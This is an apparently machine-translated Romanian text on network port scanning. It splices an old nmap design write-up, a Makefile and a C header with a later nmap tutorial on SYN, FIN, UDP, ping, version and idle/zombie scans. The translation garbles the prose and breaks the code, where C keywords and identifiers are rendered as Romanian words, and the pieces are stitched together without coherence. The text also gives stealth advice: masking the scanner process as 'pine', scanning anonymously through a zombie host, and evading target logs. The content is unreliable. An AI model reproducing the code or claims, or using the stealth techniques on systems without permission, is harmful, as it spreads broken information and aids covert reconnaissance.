Erori ICMP sunt garantate de a ajunge, astfel încât UDP scannere de acest gen trebuie de asemenea
Utilajul retransmisia de pachete care par a fi pierdut (sau veți obține o
Ciorchinele de rezultate pozitive false). De asemenea, aceasta tehnica de scanare este lentă datorită
Compensarea pentru mașinile care a luat RFC 1812 secțiunea 4.3.2.8 la limita ritmului cardiac și
Mesaj de eroare ICMP. De exemplu, nucleul Linux (în net/ipv4/icmp.h)
Limitele de contactat de destinație generarea de mesaje 80 per 4 secunde, cu un
1/4 doua penalizare dacă că este depășită. La un moment dat va adăuga o mai bună
Algoritmul de nmap pentru detectarea prezentei. De asemenea, va fi nevoie să fie rădăcină pentru
Acces la materiile priza ICMP este necesar pentru citirea portul de contactat. A
-u (UDP) opțiunea de scanare nmap implementeaza acest metoda pentru utilizatorii de rădăcină.
Unii oameni cred că scanarea UDP este strimba si inutil. De obicei le aduc aminte de
Recenta Solaris rcpbind gaura. Rpcbind poate fi găsit ascunderea pe un
Modalitate nedocumentată portul UDP undeva mai sus 32770. Deci nu conteaza ca 111 este
Blocat de firewall. Dar puteți găsi care a mai mult de 30.000 de înaltă
Porturi este urechea? Cu un scaner de UDP puteți!
– UDP recvfrom() și write() scanarea : În timp ce utilizatorii non-root nu pot citi
Port de contactat de eroare direct, Linux este suficient de rece pentru a informa utilizatorul
Indirect atunci când au fost primite. De exemplu un al doilea write()
Apel la un port închis în mod normal va eșua. O mulțime de scannere precum netcat
Și Pluvius' pscan.c nu aceasta. De asemenea, am observat că recvfrom() pe
Fără blocare prize de obicei reveni EAGAIN UDP ("Încercați din nou", errno 13) Dacă
Eroare ICMP nu a fost primit și ECONNREFUSED ("Legătura refuzat",
Errno 111) dacă a. Aceasta este tehnica utilizata pentru determinarea porturi deschise
Atunci când utilizatorii non-root utilizați -u (UDP). Utilizatorii de rădăcină pot de asemenea utiliza -l (lamer
UDP scan) opțiunile de vigoare prezentul, dar e chiar o idee mut.
– scanare de ecou ICMP : acest port nu este chiar de scanare, deoarece pachetele ICMP nu are
Un port de captare. Dar uneori este util pentru a determina ce gazde în
Rețea sunt prin transmiterea de pachete ping către toți. -P opțiune nu acest. De asemenea puteți
Doriți să reglați PING_TIMEOUT #defini dacă scanați o mare
Rețea. nmap acceptă un host/bitmask notarea pentru a face acest fel de lucru
Mai usor. De exemplu "nmap -P cert.org/24 152.148.0.0/16" va scana lui de certificate
Clasa C și orice entitate 152.148 de clasa B.* reprezintă. Host/26 este
Util pentru 6 biți subretele din cadrul unei organizatii.
Caracteristici de [ ]
Înainte de scrierea nmap, am petrecut foarte mult timp cu alte scanere de a explora
Internet Internet și diverse private (notă de evitare a "intranet"
Buzzword). Am folosit multe dintre partea de sus scannere disponibile astăzi, inclusiv
Stroboscop de Julian Assange, netcat de *Hobbit*, stcp de Uriel Maimon, pscan prin
Pluvius, ident-scan de Dave Aurar și SATANA TCP/UDP scannere de
Wietse Venema. Acestea sunt toate scanerele excelentă! De fapt, am ajuns hacking
Majoritatea acestora de a sprijini cele mai bune caracteristici ale altora. În sfârșit am decis
Pentru a scrie un nou scaner, mai degrabă decât vă bazați pe versiunile de o duzina de binarul
Diferite scanere în my /usr/local/sbin. În timp ce am scris toate cod, nmap
Utilizează o mulțime de idei bune de predecesorii săi. Am încorporat de asemenea unele noi
Chestii de fragmentare și opțiuni de scanare care erau pe lista mea de "doresc" pentru
Alte scanere. Aici sunt unele dintre (IMHO) caracteristici utile de nmap:
– dinamic timp de întârziere calcule: Unele scannere necesită o alimentare
Timp de întârziere între trimiterea pachetelor. Ei bine cum ar trebui să știu ce să utilizați?
Sigur, am sa dati ping-le, dar este o durere și plus timpul de raspuns multe
Gazdele modificările dramatic când acestea sunt inundate cu cereri. nmap
Încearcă să stabilească cel mai bun timp de întârziere pentru tine. De asemenea, acesta încearcă să păstreze pin
Pentru pachete retransmisiile etc. astfel încât poate modifica acest timp de întârziere în timpul
Cursul de scanare. Pentru utilizatorii de rădăcină, tehnica de primar pentru o diagnosticare
Întârzierea inițială este la timp intern "ping". Pentru utilizatorii non-root,
Ori o tentativă de Conectare() la un port închis pe țintă. De asemenea poate alege
Valoarea implicită de rezonabil. Din nou, oameni care doresc să specificați o întârziere
Ele pot face acest lucru cu -w Așteptați), dar nu ar trebui să aveți pentru a.
– retransmisie: Unele scannere doar trimite toate pachetele de interogare, și
Se colectează răspunsuri. Dar acest lucru poate conduce la rezultate fals pozitive sau negative în
Cazul in care pachetele sunt scăzut. Acest lucru este important în special pentru
"negativ" style scanează ca UDP si fin, dacă ceea ce căutați este un
Port care nu răspunde. În cele mai multe cazuri, nmap implementează o predispoziție
Număr de retransmisiile porturilor de nu răspunde.
– portul paralel de scanare: Unele scannere de porturi de scanare pur și simplu linear, una la o
Timp, până când acestea nu toate 65535. Acest fapt lucreaza pentru TCP pe un foarte rapid
Reteaua locala dar viteza nu mai este acceptabil pe o zonă largă
Network precum Internet. nmap utilizează fără blocare i/o și scanare în paralel
În toate modurile TCP si UDP. Numărul de scanări în paralel este configurabil
Cu -M (MAX). Opțiunea mufe Pe o rețea foarte rapidă va efectiv
Scădere performanță dacă nu mai mult de 18 sau astfel. Pe rețelele de lentă, înaltă
Valorile cresc performanta dramatic.
– portul flexibile conform specificației: nu doriți întotdeauna doar scanare toate 65535
Porturi. De asemenea, scannere care permite numai să scanați porturile 1 – N uneori
Ridici de nevoie. Opțiunea -p vă permite să specificați o modalitate arbitrară
Numărul de porturi și gamele de scanare. De exemplu, "-p 21-25,80,113,
60,000-" nu ceea ce ar putea aștepta (o cratimă înseamnă până la 65536, un
Conducând cratimă înseamnă 1 prin). Puteți de asemenea utiliza -F (rapid) opțiunea, care
Scanează toate porturile înregistrate în /etc/services (a la stroboscop).
– Flexibil conform specificației: I des țintă doriți să scanați mai apoi o gazdă,
Si nici nu vreau sa listă de fiecare host pe o rețea mare de a
Scanare. Tot ce nu este o opțiune (sau opțiune argument) în nmap este
Tratată ca o țintă gazdă. Așa cum am menționat anterior, puteți optional append
Masca de la un hostname /sau adresa IP pentru a scana toate gazdele cu aceeași
Inițial de masca> biti de <a 32 biți adresa IP.
– detectarea în jos de gazde: Unele vă permit să scanați retele mari, dar
Deșeurile au o cantitate uriașă de scanare în timp mort de porturi 65535 host! Prin
Implicit, nmap ping fiecare gazda pentru a vă asigura că este până înainte de a pierde timpul pe-o.
De asemenea este capabil de lăcărit pe gazde care par în jos pe baza de ciudat port
Erorile de scanare. De asemenea, este de dorit a fi toleranti cu oamenii care scanarea accidental
Adresele de rețea, adrese de difuzare etc.
– detectarea adresa IP: pentru un motiv, multe scannere solicita să
Tastați adresa IP ca unul dintre parametri. Crose, nu vreau să aibă
La "ifconfig" și figura afară adresa mea curentă de fiecare dată am scan. Desigur,
Acest lucru este mai bine atunci scannere am vazut care necesita recompilarea fiecare
Timp vă schimbați adresa! Prima nmap încearcă detectarea adresa dumneavoastră în timpul
Etapa de ping. Acesta utilizează adresa ca ecoul a răspuns este primit de pe,
Care este interfața trebuie să fie direcționat prin aproape întotdeauna. Dacă nu
Aceasta (ca în cazul în care nu aveți activat) ping gazdă nmap încearcă detectarea
Interfață primară și utilizează ca adresa. Puteți de asemenea să utilizați -S pentru a specifica
Aceasta direct, dar nu ar trebui să (decât dacă doriți pentru a face sa para ca
Altcineva este de SYN sau FIN scanarea unui host.
Alte opțiuni de minore, mai:
-v (verbose): este foarte recomandată pentru utilizare interactivă. Printre alte
Mesajele utile, veți vedea porturi veni ca ele sunt găsite, mai degrabă decât
Având pentru a aștepta sortate sumar lista.
-r (depășirilor): Aceasta va depășirilor ordinea în care ținta lui gazdă
Porturi sunt scanate.
-q (înăbuși argv): Aceasta modifică argv[0] a mima_ARGV ("pine" implicit).
De asemenea, elimină toate celelalte argumente, astfel încât să nu pară prea suspicios în
"w" sau "listari ps".
-h pentru opțiuni de un rezumat.
<++> nmap/Makefile
# un banal makefile pentru Network Mapper
Nmap: nmap.c nmap.h
Gcc -WALL -O6 -o nmap nmap.c -lm
<–>
<++> nmap/nmap.h
#ifndef NMAP_H
#definesc NMAP_H
/************************include**********************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/tipuri.h>
#include <rpc/tipuri.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/în.h>
#include <unistd.h>
#include <netdb.h>
#include <timp.h>
#include <fcntl.h>
#include <semnal.h>
#include <semnal.h>
#include <linux/ip.h> /*<netinet/ip.h>*/
#include <linux/icmp.h> /*<netinet/ip_icmp.h>*/
#include <arpa/inet.h>
#include <matematica.h>
#include <timp.h>
#include <sys/ora.h>
#include <ASM/byteorder.h>
#include <netinet/ip_tcp.h>
/************************definește************************************/
/* #definiți la zero dacă nu doriți să Ignorați de gazde de forma
Xxx.XXX.XXX.{0,255} (de obicei de rețea și adrese de difuzare) */
#definesc ignora_ZERO_și_255_GAZDE 1
#definesc pentru depanare 0
/* Default numărul de porturi în paralell. Nu presupun întotdeauna reală
Mufe. Puteți de asemenea regla cu opțiune de linie de comandă -M. */
#definesc MAX_FETALI 36
/* Dacă citește un port UDP păstrați revenind EAGAIN (errno 13), vrem
Numărați în port, valabil? */
#definesc RISCANTA_UDP_SCAN 0
/* Acest ideal trebuie să fie un port care nu este în uz pentru orice protocol pe mașinii noastre sau pe target */
#definesc MAGIC_Port 49724
/* câte udp trimite fără un port ICMP unreachable eroare pana consideram portul deschis? */
#definesc UDP_MAX_Port_REÎNCERCĂRI 4
/*câte secunde înainte de a ne da până la o gazdă fiind viu? */
#definesc PING_TIMEOUT 2
#definesc FALS_ARGV – pine" /* Ce ps și w trebuie să arate dacă utilizați -q */
/* Cum doriți să vă conectați la site-uri de ftp pentru */
#definesc FTPUSER "anonim"
#definesc FTPPASS "-wwwuser@"
#definesc FTP_REÎNCERCĂRI 2 /* de câte ori ar trebui să ne putem pierde controlul autentificați-dacă
Conexiune? */
#definesc UC(b) (((int)b)&0xff)
#definirea mai_FRAGMENTE 8192 /*nu poate fi reparată de utilizator un parametru*/
#definesc fatala(x) { fprintf(afiseaza regulile pe masura, "%s\n", x); ieși(-1); }
#definesc eroare(x) fprintf(afiseaza regulile pe masura, "%s\n", x);
/ structurile*********************************************************/
Typedef un dicționar port {
Nesemnata portno scurt;
Setand nesemnate proto;
Char *proprietar;
Un dicționar port *next;
} port;
Un dicționar ftpinfo {
Utilizatorul char[64];
Carbonizare trec[256]; /* methinks esti paranoic dacă aveți nevoie de acest mult spațiu */
Nume_server char[MAXHOSTNAMELEN + 1];
Un dicționar în_addr server;
Portul scurt nesemnate;
Int sd; /* socket descriptor */
};
Portul typedef *portlist;
/***********************prototipuri**********************************/
/* */ informații de utilizare
Anularea printusage(char *Nume);
Funcțiile de scanare noastre /* */
Portlist tcp_scan(un dicționar în_addr target, nesemnat scurt *portarray,
Portlist *porturi);
Portlist syn_scan(un dicționar în_addr target, nesemnat scurt *portarray,
Un dicționar în_addr *sursă, int fragment, portlist *porturi);
Portlist fin_scan(un dicționar în_addr target, nesemnat scurt *portarray,
Un dicționar în_addr *sursă, int fragment, portlist *porturi);
Portlist udp_scan(un dicționar în_addr target, nesemnat scurt *portarray,
Portlist *porturi);
Portlist lamer_udp_scan(un dicționar în_addr target, nesemnat scurt *portarray,
Portlist *porturi);
Portlist bounce_scan(un dicționar în_addr target, nesemnat scurt *portarray,
Un dicționar ftpinfo *ftp, portlist *porturi);
Funcțiile de scanare /* helper */
Nesemnata mult calcularea_sleep(un dicționar în_addr țintă);
Verificați int_ident_Port(un dicționar în_addr țintă);
Int getidentinfoz(un dicționar în_addr țintă, int localport, int remoteport,
Char *proprietar);
Int parse_bounce(un dicționar ftpinfo *ftp, char *url);
Int ftp_unpe_connect(un dicționar ftpinfo *ftp);
/* tovarasilor de port */
Scurt *getpts nesemnate(char *expr); /* furat cineva numele getports()! */
Scurt *getfastports nesemnate(int tcpscan, int udpscan);
Int addport(portlist *porturi, nesemnat portno scurt, nesemnat protocolul scurt,
Char *proprietar);
Int deleteport(portlist *porturi, nesemnat portno scurt, nesemnat scurt protocol);
Anularea printandfreeports(portlist porturi);
Int shortfry(nesemnat scurt *porturi);
Funcțiile de manipulare de priză /* */
Void init_dulie(int sd);
Int unblock_dulie(int sd);
Int bloc_dulie(int sd);
Int recvtime(int sd, char *buf, int len, int secunde);
/* clădirea de pachete brut/dissasembling stuff */
Int Send_tcp_materii( int sd, un dicționar în_addr *sursă,
Un dicționar în_addr *victima, nesemnat scurt sport,
Nesemnata scurt dport, nesemnat secv lungi,
Nesemnata mult ack, nesemnat char steaguri,
Fereastra de scurt nesemnate char *date,
Nesemnata datalen scurt);
Int isup(un dicționar în_addr țintă);
Nesemnata scurt în_cksum(nesemnat scurt *ptr,int nbytes);
Int Send_mici_fragz(int sd, un dicționar în_addr *sursă, un dicționar în_addr *victima,
Int sport, int dport, int steaguri);
Int readtcppacket(char *pachet, int readdata);
Int asculta_icmp(int icmpsock, nesemnat outports scurt[],
Nesemnata numtries scurt[], int *num_out,
Un dicționar în_addr țintă, portlist *porturi);
Funcțiile de ajutor general /* */
Anularea hdump(char *pachet, nesemnate int len);
Anularea *safe_malloc(int size);
#endif /* NMAP_H */
<–>
<++> nmap/nmap.c
Ce poate face nmap:
–––––––––
Rețea Mapată (Nmap) este o rețea de scanare și dispozitivul de detectare gazdă care este foarte util în timpul mai multor trepte de testare de penetrare.
Nmap nu este limitată la doar culegerea de informații și de inventariere, dar este de asemenea puternic utilitar care poate fi folosit ca un detector de vulnerabilitate sau un scanner de securitate.
Astfel încât Nmap este o unealtă universală și poate fi rulat pe multe sisteme de operare diferite inclusiv Windows, Linux BSD, și Mac.
Nmap este un utilitar foarte puternic care poate fi folosit pentru a:
Detecta live pe rețea gazdă (host discovery)
Detecta porturile deschise pe gazda (Port descoperirea sau de inventariere)
Detectarea și versiunea de software la portul respectiv (service discovery)
Detecta sistemul de operare, adresa hardware și versiunea de software
Detecta vulnerabilitatea și găurile de securitate (Nmap script-uri)
Nmap este un instrument foarte comună și este disponibil atât pentru interfață cu linie de comandă și interfață grafică pentru utilizator.
Cum să utilizați Nmap? Ai fi putut auzi această întrebare de mai multe ori inainte, dar în opinia mea nu o intrebare.
Cel mai bun mod de a începe explorarea Nmap este de a cere: Cum pot utiliza Nmap eficient? Acest articol a fost scris în efortul să răspundă.
Nmap utilizează tehnici diferite pentru a efectua scanarea inclusiv: TCP conectați(), de scanare TCP înapoi ident de scanare, FTP bounce scanarea și așa mai departe.
Toate aceste tipuri de scanare au propriile lor avantaje si dezavantaje, și le vom discuta cum vom merge pe.
Este o explorare de bază și este de asemenea numit jumătate de scanare deschisă deoarece această tehnică permite Nmap pentru a obține informații de la gazdă la distanță fără a completa procesul de strangere de TCP, Nmap trimite pachete SYN la destinatie, dar nu creeaza sesiuni, ca rezultat, calculatorului țintă nu pot crea orice log de interacțiune deoarece nu a fost initiat de sesiune, făcând această caracteristică un avantaj de scanare TCP SYN.
Dacă nu există niciun tip de scanare mentionate pe comanda apoi avTCP SYN scan este utilizat implicit, dar necesită root/administrator privilegiat.
# nmap -sS 192.168.1.1
TCP conectați() scan (-sT)
Aceasta tehnica de scanare implicită utilizată, dacă și numai dacă scanarea SYN nu este o opțiune, deoarece scanarea SYN necesită privilegii root. Spre deosebire de TCP SYN scan, acesta se finalizează normal TCP trei way handshake procesul și necesită sistemul de apel conectați(), care este o parte a sistemului de operare. Rețineți că această tehnică este aplicabil numai pentru a afla porturile TCP, nu de porturi UDP.
# nmap -sT 192.168.1.1
UDP Scan (-sU)
După cum sugerează și numele, această tehnică este utilizată pentru a găsi o deschideți portul UDP de țintă mașinii. Nu necesită să fie trimise de pachete SYN deoarece este identificați UDP porturi. Dar putem face scanarea mai eficiente cu ajutorul -sS împreună cu -sU. Explorările UDP trimite pachete UDP la mașina țintă, și așteaptă un răspuns – dacă un mesaj de eroare ajunge ca ICMP este de neatins, atunci înseamnă că portul este închisă; dar daca devine un răspuns adecvat, atunci înseamnă că portul este deschis.
# nmap -sU 192.168.1.1
Scanare FIN (-sF)
Uneori o scanare TCP SYN normală nu este cea mai bună soluție din cauza firewall. Id-URI ȘI IPS scanează ar putea fi mobilizate de pe mașina țintă, dar un firewall va de obicei cilindrilor de pachete SYN. Un FIN scan trimite pachetul setat numai cu un fin pavilionul, astfel încât nu este necesar pentru a finaliza handshake TCP.
Root@BT:~# nmap -sF 192.168.1.8
Pornire Nmap 5,51 ( ) de la http://nmap.org 2012-07-08 19:21 PKT
Raportul de scanare nmap pentru 192.168.1.8
La distanþã este (0.000026s latență scăzută).
Nu este indicat: 999 de porturi închise
Serviciul de statul de port
111/tcp deschise|rpcbind filtrat
Calculatorul țintă nu este capabil de a crea un jurnal de această scanare (din nou, un avantaj de FIN). Exact ca un fin scan, putem efectua o explorare de crăciun (-sX) și scanarea nule (-sN). Ideea este aceeași dar există o diferență între fiecare tip de scanare. De exemplu, ARIPIOAREI scan trimite pachetele care conțin numai ARIPIOAREI pavilionul, unde ca nul scanarea nu trimite orice bit de pe pachet și de crăciun trimite FIN, PSH și URG steaguri.
Scanare Ping (-sP)
Ping este de scanare spre deosebire de alte tehnici de explorare deoarece este utilizat numai pentru a afla daca gazda este viu sau nu, nu este utilizat pentru a descoperi porturile deschise. Explorările Ping necesită acces la rădăcină s pachetele ICMP pot fi trimise, dar dacă utilizatorul nu are privilegiul de administrator, apoi scanarea ping utilizează conectați() apel.
# nmap -sP 192.168.1.1
Detectarea versiune (-sV)
Este dreptul de detectare a versiunii tehnica care este utilizat pentru a afla ce versiune de software este pornit de pe calculatorul țintă și de pe porturile respective. Este spre deosebire de alte tehnici de scanare deoarece nu este utilizat pentru a detecta porturile deschise, dar necesită informații din porturi deschise pentru a detecta versiunea de software. In prima etapa a acestui tehnica de scanare, detectare de versiune utilizează scanarea TCP SYN pentru a afla care sunt porturile deschise.
# nmap -sV 192.168.1.1
Scanarea de ralanti (-sI)
Scanarea de ralanti este una dintre tehnicile mele preferate, și este un avans care asigură o scanare completă de anonimat în timpul scanării. În ralanti scan, Nmap nu trimite pachetele de la adresa IP-ul real-în loc de a genera pachetele de la atacator mașinii, Nmap utilizează o altă gazdă de la rețeaua țintă pentru a trimite pachete. Sa luam un exemplu pentru a înțelege conceptul de scanare de ralanti:
Nmap -sI zombie_host_țintă gazdă
# nmap -sI 192.168.1.6 192.168.1.1
Tehnica de scanare de ralanti (mentionate mai sus) este utilizată pentru a descoperi porturile deschise pe 192.168.1.1 în timp ce acesta utilizează zombie_gazda (192.168.1.6) pentru a comunica cu ținta gazdă. Deci aceasta este o tehnica de a scana un ideal calculatorului țintă anonim.
Există multe alte tehnici de scanare sunt disponibile precum FTP bounce, fragmentare scan, IP scan. și astfel încât pe; dar am discutat despre cele mai importante tehnici de scanare (desi toate tehnicile de scanare poate important în funcție de situație ai de-a face cu).
Arsenalul dvs.
–––––––
Pe care le utilizați unix este în întregime până la tine. Vă sugerez să verifice dacă nmap va rula pe
Aroma de unix înainte de a decide pe una in special. Linux, SunOS BSD, și sunt alegeri bune.
HP-UX, AIX, IRIX, SCO, XENIX, și restul de pletora de clone unix pot lucra, dar
Veți fi sailing apele netestate.
Iată lista de alte programe ar putea să doriți să instalați:
* nmap (defacto scanerul de securitate)
* nc (NetCat – "IP Armata Elvețiană") a cuțitului
* tcpdump (interceptorului original. Personal, am prefera hohot, dar tcpdump va rula pe aproximativ orice unix acolo…)
* nping (Nping este un instrument open source pentru generarea de pachete în rețea, analiza de răspuns și timpul de răspuns măsurare. Nping poate genera pachete de rețea pentru o gamă largă de protocoale, permițând utilizatorilor control integral protocolul hederelor.)
* lynx (consola excelent bazat webbrowser-ul. Întotdeauna la îndemână pentru a fi)
* ncat (versiunea modificată a nc de FYODOR)
* Ncrack (Ncrack este o rețea de mare viteză fisurare de autentificare dispozitivului.A fost construit pentru a ajuta companiile să securizați rețelele lor prin testarea proactiv toate gazdele si dispozitivele de retea pentru biata parole.)
Pentru Tigrul Echipa membru implicat în audituri fizice, nimic nu este mai valoros decât
Un laptop cu o placa de rețea în ea, pornit unix. Acesta poate fi purtat pe întreg
Compania building, și conectat în mufe ethernet și porniți pufnind/o continuu de scanare.
Eu personal ar sugera OpenBSD NetBSD sau pentru acest scop, deoarece acestea sunt mici,
Rapid, mobil și foarte capabil de sisteme unix.
Fundamentele
–––––––
Pentru a intelege cum de vă scanează eficiente, trebuie să înțeleagă câteva
Concepții despre rețea TCP/IP și cum sistemul de operare îndeplini această.
Toate de internet (care se bazează foarte puternic pe TCP/IP) utilizează pentru a trimite pachete de date
Înainte. Nu există flux de date direct ca, spune, un telefon. In schimb,
Calculatorul trimite pachete care sunt prelucrate, filtrată, fragmentata, și dirijat pe întreg
Alte calculatoare, până când acest pachet de date ajunge la destinația finală.
Dacă acest concept este complet strain de tine, va trebui probabil mare dificultate
Înțelegerea portscanning de bază. In orice caz, trebuie să înțelegeți cum calculatoare
Poate pe conexiuni simultane a englezii computere diferite de la o data. Explicatia
Poate chiar foarte detaliate, dar este baza portscanning. Aici sunt elementele de bază:
Fiecare computer conectat la internet are o adresă IP (desemnate să fie permanent
Ca foarte mașina sau atribuit dinamic la conectarea la rețea) care
Identifică în mod unic ca mașina la toate celelalte mașini de pe rețea. Cred că a
Adresa de IP ca un nume pentru calculator. Toate pachetele care doriți să trimiteți unui special
Calculator, ai de palme ca adresa pe care doriți să trimiteți pachete, și aruncați ca
Pachetul pe internet și lăsați internet aveți grijă de a obține pachete
La mașina cu destinatie adresa de IP.
Dar daca vreau sa am 2 conexiuni la o adresa IP simultan? Cum imi va
Calculator stiu care pachetele sunt pentru care legătura? Porturile, prietenul meu. Fiecare internet
Calculator conectat are potentialul de porturi disponibile pentru 65535-le. Tineti minte ca de obicei
Doar porturi mai mare de 1024 sunt desemnate pentru utilizare generală, cu restul de porturi
Rezervat pentru servicii pe mașini, precum webservers (portul 80), servere FTP (portul 21), SSH
Servere (portul 22). Cel putin asa cum trebuia sa lucreze. Există la multe exceptii
Pentru a lista. De exemplu, serverele IRC (portul 6667), MySQL (portul 3306). Notă: Unul dintre motivele
De ce am insistat să aveți acces la rădăcină de pe mașină este că dacă unix doriți să ascultați pe un
Port belown 1024 în unix, pur și simplu trebuie să aibă privilegii root. Unix nu am să vă "lega" pentru a
Acel port în caz contrar. Rețineți că acest lucru nu este necesar pentru majoritatea portscanning tehnici, dar
Poate fi foarte valoroasă în anumite situații.
Bine. Dar ce se întâmplă atunci când, ca un client, doriți să deschideți o conexiune la un calculator
De pe internet pe un anumit port?
Aceasta este de asemenea foarte implicat, asa ca voi rezuma.
Aveți de palme împreună un pachet mic care are un drapel special de "a": SYN (Sincronizarea).
Apoi vă palme pe adresa dumneavoastra IP (de "IP sursă"). Apoi alegeți o intamplare, port neutilizat
Între 1024 și 65535, și de palme ca pe pachet (de "portul sursă"). Lângă tine de palme pe
Destinația adresa de IP (de "IP destinație"), și portul de la care doriți să vă conectați
("portul destinatie"). Apoi vă trimite pachetul pe internet și (sperăm) câteva
Milisecunde mai tarziu acesta va ajunge la destinatie.
De aici pe în, toate pachetele TCP/IP pentru această legătură va utiliza aceleasi porturi și
Adresele IP, cu exceptia, desigur, atunci când serverul trimite un pachet, apoi sursa devine
Destinația și viceversa.
Astfel, la prmire primire pachetul, serverul trebuie să ia o decizie. Prima off, nu la server
Vreau sa vorbesc cu această adresă IP e-, asa. Dacă nu,
Acesta va verifica dacă portul sursă este intr-adevar deschis pentru comunicare (Sincronizare, deoarece
Au fost). Daca ar raspunde cu un alt pachet, cu excepția aceasta are nu numai de SYN
Setat, dar si ACK. Dacă, pe de alta parte, acest port nu este deschis, se trimite
Un mesaj ICMP (care nu este de fapt TCP/IP, dar funcționează pe internet totusi):
Un RST (resetare). Utilizatorul de la calculatorul clientului probabil ar primi un mesaj de eroare ca
"serviciul cerut nu este online la adresa IP <introduceți aici>".
Presupunând că totul mergea bine și un SYN/ACK a fost transmisă, clientul va răspunde cu un pachet
Numai cu ACK setat. Apoi, 2 poate începe trimiterea de pachete de date între ele (care
Toate, de fapt, au ACK setat). Acum aceasta poate parea o
De Diagnoză pentru a parcurge pentru a stabili o conexiune… De ce să nu începeți trimiterea pachetelor?
Ei bine, dacă vă gândiți, aceasta este suma minimă de comunicare necesare pentru verificarea
Pentru ambele parti ca datele pot, de fapt, de trimis în 2 direcții. Interesant, nu există
A doua metoda de transmitere a datelor prin internet precum, numit UDP/IP, care practic
Nu doar începe transmiterea de pachete. Unfortunatley, UDP/IP este renumit pentru distractie.
Nu numai pachetele sunt garantate pentru a ajunge in NU ordine și fără date de coruptie, dar
Sosirea lor nu este garantată la toate! UDP nu au locul său, desi, mai ales
Atunci când nu aveți nevoie de integritatea datelor complete (Streaming audio este exmple clasic). nmap oferă
UDP/IP tehnici de scanare prea..)
Câteva particularități înainte de scanare port reale:
* Iată ce o adresă IP ar putea sa para: 192.168.24.53.
* Toate informațiile din acest manual tratează IPv4.
* adesea, IPs și de nume DNS poate fi utilizat interchangably. Cred despre DNS, nume ca
Hypervivid.com, ca fiind transformat intr-un IP de catre sistemul de operare înainte de a fi
Utilizat de cod de rețea.
* conexiunile TCP / IP sunt de asemenea închise prin intermediul ICMP (ideal), sau prin timeout (cum este adesea cazul)
* Dacă un client care nu solicita o conexiune mai primește un SYN/ACK packet, este
Trebuia să răspundeți cu un mesaj ICMP reacția corespunzătoare.
Port-Scanning
–––––––
Practic, pentru această secțiune, puteți pur și simplu aruncați toate celelalte scannere de port și învățați
Cum să utilizați nmap. nmap este un extrem de puternic, scanerul de securitate gratuită care, în opinia mea,
Bătăi cu pantalonii off chiar și cel mai costisitor scanerele comerciale pe piata. O calificare nmap
Adunatura neghioaba poate scana prin firewall-uri, sisteme de operare de la distanță determina, literalmente preformare
Zeci de diferite tipuri de explorări și chiar bounce scanează off de servere FTP, astfel încât
Victima va cred ca serverul de FTP este de a le de scanare. Felicitări treceți la Fyodor, autorul
De nmap, și toate celelalte hackeri care au ajutat la nmap fiarei incredibilă că este
Astăzi.
Aceasta nu este în nici un caz o nmap complet manual. Cel mai complet documentația este, desigur,
Codul sursă disponibil în mod liber. Pe langa asta, trebuie să se bazeze pe pagina, deși
Pagina omite să mai vorbim de mai multe caracteristici interesante de nmap ca ai fi putut
Găsiți vreodată ingropata in interiorul sursei. Am sa ating mai multe de scanare diferite
Tipuri de sisteme de operare, detectarea feței, sfaturi și câteva dintre aceste "modalitate nedocumentată caracteristici".
Ok, iată o foarte simplă scanare nmap:
Nmap 192.168.9.3
Aceasta utilizează multe implicite. Acesta implicit la un standard de scanare TCP. Ar putea de asemenea să vă face astfel:
Nmap -192.168.9.3 sT
Descriere -sT:
Practic, acest scan încearcă o conexiune TCP/IP completă conform descrierii de mai sus cu fiecare port
Obiceiul lui nmap enumerate în /etc/services. Apoi rapoartele toate porturile constata deschis.
Notă: Dacă nu ești de fapt de scanare în rețea (de exemplu, nmap localhost), această
Este scanarea pe care doriți să o utilizați. E foarte rapidă și cea mai nu de tip logger IP log conexiunea TCP/IP
Încercări de la 'localhost".
Notă: Dacă nu aveți root pe caseta de scanat din, aceasta este singura "standard"
Scanare puteți face ca acest scan nu utilizați mufe brut, și în schimb se bazează pe omniprezente
Branșați() apel de sistem.
Avantaje:
* destul de scanare rapidă
* NU necesită privilegii root.
Dezavantaje:
* foarte ușor detectabile.
Descriere -sS:
Asa ca sa consideram un "SYN scan", sau "jumătate de scanare deschisă" cum este de obicei denumit. Practic
Acesta funcționează ca acest: mașina dumneavoastră injecteaza o unui pachet de portul adecvat și IP
Adresa pe flux de rețea astfel încât dumneavoastră de operare nu știu chiar e trimis acest pachet,
Asa nu va fi asteptat la o SYN/ACK packet înapoi de la server. Apoi, nmap pornește
Ascultând direct în rețeaua de curent până când se vede fie SYN/ACKs sau ICMP
Mesaje de port este închis spun. E tot nmap are de a face. Sistemul de operare, la prmire primire acest
SYN/ACK pachet de la scanare victima, crede ca "nu am solicita această legătură, mai bine
Trimite un mesaj de eroare ICMP…". Este important ca dumneavoastră de operare nu prezenta, în caz contrar la server
Va asteptam sa stea acolo ACK packet de ceva timp, care consuma de memorie și astfel.
Aceasta este menționată ca SYN inundare, care este ceva ce nu vreau să fac dacă stealthiness
Este jocul dvs.. (voi atingeți scurt pe cum nmap poate fi utilizat ca un foarte puternic de SYN inundare
Dispozitivul un pic mai tarziu). Se numeste jumatate de scanare deschisă deoarece o conexiune completă nu este niciodată făcute.
Nmap durează doar suficiente informații are nevoie, și niciodată nu are pentru a deschide o conexiune completă.
Avantaje:
* destul de disimulare…
* Majoritatea software firewall nu log aceste special scanări, desi multi fac.
* scanare rapidă în mod rezonabil. Uneori mai repede decât -sT, uneori nu.
Disadvatages:
* de care aveți nevoie pentru a fi root pentru explorarea. Această preformare
* Am găsit acest explorarea poate fi signifigantly mai lent decât -sT pe hardware mai vechi cu
ISA carduri Ethernet pentru orice motiv.
* încă trimite pachete pentru victima care au dumneavoastră IP pe ele.
Descriere -sF, -sX, -sN:
Există 3 alte tipuri de "standard" explorările TCP/IP: -sF, -sX, și -sN. Practic au
Pentru a face cu setarea diferitelor TCP/IP steaguri pe pachete care să scanați cu, mizind pe
Metodele de analiza standard de manipulare aceste pachete de neobișnuită stabilite în standardele de retea:
Rfc-uri a. Sincer sa fiu, obțineți foarte puțin din oricare din aceste explorări. Nu sunt multe
Mai dificil de detectat și jurnal decât -sS, și nu poți fi sigur că toate scanate OSs
Răspunde conform RFC-uri, astfel încât sunt sanse va trebui să utilizați o altă scanare doar pentru a
Confirmarea rezultatelor acestor! Desigur, exista oameni care de fapt ca aceste
Scanări. Consultați pagina man nmap pentru detalii.
Avantaje:
* Debatably mai mult decât SYN scanări. trosnetul
